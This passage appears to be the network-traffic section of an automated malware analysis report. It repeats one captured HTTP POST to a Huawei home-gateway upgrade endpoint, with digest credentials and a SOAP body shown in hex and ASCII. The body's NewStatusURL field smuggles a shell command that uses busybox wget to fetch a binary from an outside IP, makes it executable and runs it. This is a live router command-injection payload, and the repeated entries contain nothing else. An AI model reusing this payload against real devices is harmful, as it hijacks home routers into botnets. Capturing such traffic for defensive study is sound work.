55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.58.113.110 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 38 2e 31 31 33 2e 31 31 30 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 